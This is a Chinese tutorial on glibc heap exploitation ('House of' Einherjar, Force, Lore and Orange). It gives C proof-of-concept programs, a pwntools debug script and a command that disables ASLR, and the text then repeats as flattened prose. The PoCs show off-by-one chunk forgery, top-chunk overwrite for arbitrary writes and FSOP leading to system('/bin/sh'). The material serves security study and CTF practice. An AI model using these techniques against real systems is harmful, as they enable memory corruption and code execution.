House of 系列堆漏洞详解(一)
字数 3531 2025-08-24 16:48:07

House of 系列堆漏洞详解

多Glibc版本调试方法

由于house of技术中的一些漏洞只能在特定的低版本Glibc中触发,因此需要掌握多Glibc版本调试方法。

使用pwntools脚本调试特定版本Glibc

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
pro = raw_input("py <Bin_Path>: ")
pro = pro.replace("\n", "")
io = process([pro], env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io, 'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()

GCC编译选项

  • 栈保护(CANARY):

    • -fno-stack-protector - 禁用栈保护
    • -fstack-protector - 为局部变量中含有char数组的函数插入保护代码
    • -fstack-protector-all - 为所有函数插入保护代码
  • FORTIFY:

    • -D_FORTIFY_SOURCE=1 - 仅在编译时检查
    • -D_FORTIFY_SOURCE=2 - 程序执行时也会检查
  • NX:

    • 默认开启NX保护
    • -z execstack - 禁用NX保护
    • -z noexecstack - 开启NX保护
  • PIE:

    • 默认不开启PIE
    • -fpie -pie - 开启PIE(强度1)
    • -fPIE -pie - 开启PIE(最高强度2)
    • -fpic - 开启PIC(强度1)
    • -fPIC - 开启PIC(最高强度2)
  • 关闭系统ASLR:

    sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
    
  • RELRO:

    • 默认Partial RELRO
    • -z norelro - 关闭RELRO
    • -z lazy - 部分开启(Partial RELRO)
    • -z now - 全部开启(Full RELRO)

House of Einherjar

原理

利用Off-by-one将下一个chunk的pre_inuse标志位置零,将p1的prev_size字段设置为目标chunk位置与p1的差值。在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。

PoC代码

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define CHUNKSIZE 0x100
#define FIRST_CHUNKSIZE 0x20
#define SECOND_CHUNKSIZE CHUNKSIZE
#define THIRD_CHUNKSIZE 0x0

#define INTERNAL_SIZE_T size_t
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk *fd;
    struct malloc_chunk *bk;
    struct malloc_chunk *fd_nextsize;
    struct malloc_chunk *bk_nextsize;
};

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    
    char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ); // 第一个字节将被覆盖为空字节
    char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ); // 防止调用malloc_consolidate()
    char *p2 = malloc(THIRD_CHUNKSIZE);
    
    printf("House of Einherjar Poc\n\n");
    printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n");
    printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);
    printf("\n--\n");
    
    printf("在栈中伪造一个fakechunk\n");
    struct malloc_chunk fakechunk;
    fakechunk.size = 0;
    fakechunk.fd = &fakechunk;
    fakechunk.bk = &fakechunk;
    
    printf("当前 fakechunk:\n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
    printf("\n--\n");
    
    printf("假设p0对p1存在Off-by-one\n因此p1->size的最低位将被修改为NULL\np1->prev_size同样受到影响\n\n");
    
    off_t diff = (off_t)&fakechunk - (off_t)(struct malloc_chunk*)(p1 - SIZE_SZ*2);
    *((INTERNAL_SIZE_T*)&p0[FIRST_CHUNKSIZE - SIZE_SZ*2]) = -diff;
    p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
    
    printf("** 溢出触发 **\n");
    free(p1);
    
    printf("\n--\n");
    printf("当前 fakechunk:\n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
    
    printf("\n控制fakechunk->size为合适的值\n");
    fakechunk.size = CHUNKSIZE;
    
    printf("当前 fakechunk:\n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
    
    printf("\n--\n");
    printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n", CHUNKSIZE - SIZE_SZ);
    char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
    printf("\t目标地址 = %p\n", where_you_want);
    
    return 0;
}

关键步骤分析

  1. 申请三个chunk:

    • p0: 第一个chunk,将被溢出
    • p1: 第二个chunk,大小必须在smallbin & largebin范围内
    • p2: 防止p1被free后与top chunk合并
  2. 伪造fake chunk:

    • 在栈上构造一个fake chunk,设置fd和bk指向自身
  3. 触发Off-by-one:

    • 计算fake chunk与p1的偏移量
    • 修改p1的prev_size为偏移量
    • 通过Off-by-one将p1的size最低位清零
  4. free(p1)触发合并:

    • 系统误认为前一个chunk(fake chunk)已被free
    • 将fake chunk、p1和top chunk合并
  5. 重新malloc:

    • 从合并后的top chunk中分配内存,获得目标地址的控制权

Glibc 2.27的检查

在2.27版本中增加了对prev_size的检查:

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) \
    malloc_printerr("corrupted size vs. prev_size"); \

需要额外伪造fake chunk的next chunk的prev_size字段:

fake_chunk2 = (struct malloc_chunk*)p0 + 1;
fake_chunk2->prev_size = sizeof(struct malloc_chunk);

利用思路

通过house_of_einherjar控制top chunk,再次malloc后可以控制程序相应位置,可能实现任意地址读写,进而通过常规手段getshell。


House of Force

原理

假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,实现一次任意地址写。

利用条件

  1. 用户能够以溢出等方式控制到top chunk的size域
  2. 用户能够自由的控制堆分配尺寸的大小

PoC代码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "这里是将要被覆写的字符串.";

int main(int argc, char *argv[]) {
    fprintf(stderr, "\nHouse of Force Poc\n\n");
    fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
    fprintf(stderr, "当前值为: %s\n", bss_var);
    
    fprintf(stderr, "\n申请第一个chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "大小为256 bytes的chunk在%p被申请.\n", p1 - 2);
    
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "分配的块的实际大小是%ld.\n", real_size + sizeof(long)*2);
    
    fprintf(stderr, "\n假设存在一个可溢出到top chunk的漏洞\n");
    intptr_t *ptr_top = (intptr_t *)((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\ntop chunk起始地址是%p\n", ptr_top);
    
    fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
    fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    
    fprintf(stderr, "\n接下来申请一个chunk,通过整数溢出指向该chunk");
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\n我们想要写的值位于%p, top chunk位于%p, 通过计算头部size,\n"
            "我们应该malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);
    
    void *ctr_chunk = malloc(100);
    fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    
    fprintf(stderr, "现在我们可覆写该字符串:\n");
    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... 使用strcpy覆写\"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);
}

关键步骤分析

  1. 申请初始chunk:

    • 分配一个普通chunk(p1)
    • 计算top chunk的起始地址
  2. 修改top chunk size:

    • 将top chunk的size修改为极大值(-1)
  3. 计算evil_size:

    • 计算目标地址与top chunk的偏移
    • 通过malloc(evil_size)将top chunk扩展到目标地址
  4. 分配目标chunk:

    • 再次malloc分配内存,此时将分配到目标地址
    • 向目标地址写入数据

Glibc版本差异

  • 在glibc-2.27上仍然可以利用
  • 2.29版本增加了检查:
if (__glibc_unlikely(size > av->system_mem))
    malloc_printerr("malloc(): corrupted top size");

House of Lore

原理

创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并。free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中且在unsortedbin中没有匹配的chunk,系统会把unsortedbin中的chunk加入到smallbin中。如果能够控制第一个chunk的fd、bk指针,就可以在栈上伪造出一个smallbin的链表,再次malloc时可以从smallbin的链表末尾取chunk,实现在栈上创造chunk。

PoC代码

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct small_chunk {
    size_t prev_size;
    size_t size;
    struct small_chunk *fd;
    struct small_chunk *bk;
    char buf[0x64]; // 填充smallbin size大小的chunk
};

int main() {
    struct small_chunk fake_chunk, another_fake_chunk;
    struct small_chunk *real_chunk;
    unsigned long long *ptr, *victim;
    int len;
    
    printf("House of lore Poc\n\n");
    printf("fake_chunk地址: %p\n\n", &fake_chunk);
    
    len = sizeof(struct small_chunk);
    printf("申请两个small chunk,释放第一个,该块会并入unsorted bin\n");
    ptr = malloc(len);
    printf("第一块small chunk地址: %p\n\n", ptr);
    
    printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
    printf("第二块small chunk地址: %p\n\n", malloc(len));
    
    free(ptr);
    real_chunk = (struct small_chunk *)(ptr - 2);
    printf("第一块目前的地址: %p\n\n", real_chunk);
    
    printf("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n");
    printf("之前free的chunk现在进入small bin\n");
    printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));
    
    printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
    real_chunk->bk = &fake_chunk;
    
    printf("使fake_chunk的fd指针指向第一块small chunk\n");
    fake_chunk.fd = real_chunk;
    
    printf("绕过'victim->bk->fd == victim'检测\n");
    fake_chunk.bk = &another_fake_chunk;
    another_fake_chunk.fd = &fake_chunk;
    
    printf("重新申请第一块,地址为: %p\n", malloc(len));
    victim = malloc(len);
    printf("再次申请得到fake_chunk,地址为%p\n", victim);
    
    return 0;
}

关键步骤分析

  1. 申请两个small chunk:

    • chunk1: 将被释放并加入small bin
    • chunk2: 防止chunk1被free后与top chunk合并
  2. 释放chunk1:

    • chunk1被放入unsorted bin
  3. 申请large chunk:

    • 申请一个size大于chunk1的chunk
    • 使chunk1从unsorted bin转移到small bin
  4. 伪造fake chunk链表:

    • 修改chunk1的bk指向fake_chunk
    • 设置fake_chunk的fd指向chunk1
    • 设置fake_chunk的bk指向another_fake_chunk
    • 设置another_fake_chunk的fd指向fake_chunk
  5. 分配fake chunk:

    • 通过两次malloc分配,第二次将分配到fake_chunk

利用思路

通过house of lore可以实现任意地址分配内存,可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过canary检查。


House of Orange

原理

假设存在堆溢出可覆盖到top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。

PoC代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner(char *ptr);

int main() {
    fprintf(stderr, "House of orange Poc\n\n");
    char *p1, *p2;
    size_t io_list_all, *top;
    
    p1 = malloc(0x400 - 16);
    fprintf(stderr, "首先申请一个chunk: p1 %p\n", p1);
    
    fprintf(stderr, "设置top chunk+size页面对齐,设置prev_inuse位\n\n");
    top = (size_t *)((char *)p1 + 0x400 - 16);
    top[1] = 0xc01;
    
    fprintf(stderr, "申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n");
    p2 = malloc(0x1000);
    fprintf(stderr, "p2 %p\n", p2);
    
    fprintf(stderr, "chunk->bk->fd覆盖_IO_list_all指针\n\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr, "io_list_all现在指向chunk->bk->fd %p\n", &io_list_all);
    
    fprintf(stderr, "当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");
    fprintf(stderr, "设置chunk->bk为_IO_list_all - 16\n");
    top[3] = io_list_all - 0x10;
    
    fprintf(stderr, "system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n");
    memcpy((char *)top, "/bin/sh\x00", 8);
    
    fprintf(stderr, "将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n");
    top[1] = 0x61;
    
    fprintf(stderr, "满足条件fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
    _IO_FILE *fp = (_IO_FILE *)top;
    fprintf(stderr, "满足fp->_mode <= 0\n");
    fp->_mode = 0; // top+0xc0
    
    fprintf(stderr, "满足fp->_IO_write_ptr > fp->_IO_write_base\n");
    fp->_IO_write_base = (char *)2; // top+0x20
    fp->_IO_write_ptr = (char *)3;  // top+0x28
    
    fprintf(stderr, "设置跳板指向可控内存\n\n");
    size_t *jump_table = &top[12]; // 可控内存
    jump_table[3] = (size_t)&winner;
    *(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table; // top+0xd8
    
    fprintf(stderr, "malloc触发利用链\n");
    malloc(10);
    return 0;
}

int winner(char *ptr) {
    system(ptr);
    return 0;
}

关键步骤分析

  1. 申请chunk并修改top chunk:

    • 申请初始chunk(p1)
    • 修改top chunk的size为页面对齐值并设置prev_inuse位
  2. 扩展top chunk:

    • 申请一个大于top chunk size的chunk(p2)
    • 触发sysmalloc扩展堆空间
  3. 构造_IO_list_all指针:

    • 计算io_list_all地址
    • 设置chunk的bk为io_list_all - 0x10
  4. 准备system(/bin/sh):

    • 在top chunk起始处写入"/bin/sh"
    • 缩小top chunk size使其被放入small bin
  5. 满足条件:

    • 设置fp->_mode <= 0
    • 设置fp->_IO_write_ptr > fp->_IO_write_base
  6. 设置跳板:

    • 构造跳板表指向可控内存
    • 将winner函数地址放入跳板表
  7. 触发利用链:

    • 通过malloc触发利用链执行system("/bin/sh")

不同Glibc版本的差异

  1. glibc-2.23之前:

    • 没有检查,可直接构造假的stdout
    • 触发libc的abort,利用abort中的_IO_flush_all_lockp控制程序流
  2. glibc-2.23之后:

    • 增加了_IO_vtable_check
    • 要求vtable必须在__stop___libc_IO_vtables和__start___libc_IO_vtables之间
    • 可以将vtable指向_IO_str_jumps,将fp的0xe8偏移覆盖为system函数,fp的0x38偏移覆盖为/bin/sh字符串
  3. glibc-2.27及之后:

    • abort中没有刷新流的操作
    • 不再容易利用
House of 系列堆漏洞详解 多Glibc版本调试方法 由于house of技术中的一些漏洞只能在特定的低版本Glibc中触发,因此需要掌握多Glibc版本调试方法。 使用pwntools脚本调试特定版本Glibc GCC编译选项 栈保护(CANARY) : -fno-stack-protector - 禁用栈保护 -fstack-protector - 为局部变量中含有char数组的函数插入保护代码 -fstack-protector-all - 为所有函数插入保护代码 FORTIFY : -D_FORTIFY_SOURCE=1 - 仅在编译时检查 -D_FORTIFY_SOURCE=2 - 程序执行时也会检查 NX : 默认开启NX保护 -z execstack - 禁用NX保护 -z noexecstack - 开启NX保护 PIE : 默认不开启PIE -fpie -pie - 开启PIE(强度1) -fPIE -pie - 开启PIE(最高强度2) -fpic - 开启PIC(强度1) -fPIC - 开启PIC(最高强度2) 关闭系统ASLR : RELRO : 默认Partial RELRO -z norelro - 关闭RELRO -z lazy - 部分开启(Partial RELRO) -z now - 全部开启(Full RELRO) House of Einherjar 原理 利用Off-by-one将下一个chunk的pre_ inuse标志位置零,将p1的prev_ size字段设置为目标chunk位置与p1的差值。在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。 PoC代码 关键步骤分析 申请三个chunk : p0: 第一个chunk,将被溢出 p1: 第二个chunk,大小必须在smallbin & largebin范围内 p2: 防止p1被free后与top chunk合并 伪造fake chunk : 在栈上构造一个fake chunk,设置fd和bk指向自身 触发Off-by-one : 计算fake chunk与p1的偏移量 修改p1的prev_ size为偏移量 通过Off-by-one将p1的size最低位清零 free(p1)触发合并 : 系统误认为前一个chunk(fake chunk)已被free 将fake chunk、p1和top chunk合并 重新malloc : 从合并后的top chunk中分配内存,获得目标地址的控制权 Glibc 2.27的检查 在2.27版本中增加了对prev_ size的检查: 需要额外伪造fake chunk的next chunk的prev_ size字段: 利用思路 通过house_ of_ einherjar控制top chunk,再次malloc后可以控制程序相应位置,可能实现任意地址读写,进而通过常规手段getshell。 House of Force 原理 假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,实现一次任意地址写。 利用条件 用户能够以溢出等方式控制到top chunk的size域 用户能够自由的控制堆分配尺寸的大小 PoC代码 关键步骤分析 申请初始chunk : 分配一个普通chunk(p1) 计算top chunk的起始地址 修改top chunk size : 将top chunk的size修改为极大值(-1) 计算evil_ size : 计算目标地址与top chunk的偏移 通过malloc(evil_ size)将top chunk扩展到目标地址 分配目标chunk : 再次malloc分配内存,此时将分配到目标地址 向目标地址写入数据 Glibc版本差异 在glibc-2.27上仍然可以利用 2.29版本增加了检查: House of Lore 原理 创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并。free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中且在unsortedbin中没有匹配的chunk,系统会把unsortedbin中的chunk加入到smallbin中。如果能够控制第一个chunk的fd、bk指针,就可以在栈上伪造出一个smallbin的链表,再次malloc时可以从smallbin的链表末尾取chunk,实现在栈上创造chunk。 PoC代码 关键步骤分析 申请两个small chunk : chunk1: 将被释放并加入small bin chunk2: 防止chunk1被free后与top chunk合并 释放chunk1 : chunk1被放入unsorted bin 申请large chunk : 申请一个size大于chunk1的chunk 使chunk1从unsorted bin转移到small bin 伪造fake chunk链表 : 修改chunk1的bk指向fake_ chunk 设置fake_ chunk的fd指向chunk1 设置fake_ chunk的bk指向another_ fake_ chunk 设置another_ fake_ chunk的fd指向fake_ chunk 分配fake chunk : 通过两次malloc分配,第二次将分配到fake_ chunk 利用思路 通过house of lore可以实现任意地址分配内存,可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过canary检查。 House of Orange 原理 假设存在堆溢出可覆盖到top chunk,设置top chunk+size页面对齐,设置prev_ inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_ list_ all,当malloc分割时,chunk->bk->fd的值会被libc的main_ arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。 PoC代码 关键步骤分析 申请chunk并修改top chunk : 申请初始chunk(p1) 修改top chunk的size为页面对齐值并设置prev_ inuse位 扩展top chunk : 申请一个大于top chunk size的chunk(p2) 触发sysmalloc扩展堆空间 构造_ IO_ list_ all指针 : 计算io_ list_ all地址 设置chunk的bk为io_ list_ all - 0x10 准备system(/bin/sh) : 在top chunk起始处写入"/bin/sh" 缩小top chunk size使其被放入small bin 满足条件 : 设置fp->_ mode <= 0 设置fp->_ IO_ write_ ptr > fp->_ IO_ write_ base 设置跳板 : 构造跳板表指向可控内存 将winner函数地址放入跳板表 触发利用链 : 通过malloc触发利用链执行system("/bin/sh") 不同Glibc版本的差异 glibc-2.23之前 : 没有检查,可直接构造假的stdout 触发libc的abort,利用abort中的_ IO_ flush_ all_ lockp控制程序流 glibc-2.23之后 : 增加了_ IO_ vtable_ check 要求vtable必须在__ stop___ libc_ IO_ vtables和__ start___ libc_ IO_ vtables之间 可以将vtable指向_ IO_ str_ jumps,将fp的0xe8偏移覆盖为system函数,fp的0x38偏移覆盖为/bin/sh字符串 glibc-2.27及之后 : abort中没有刷新流的操作 不再容易利用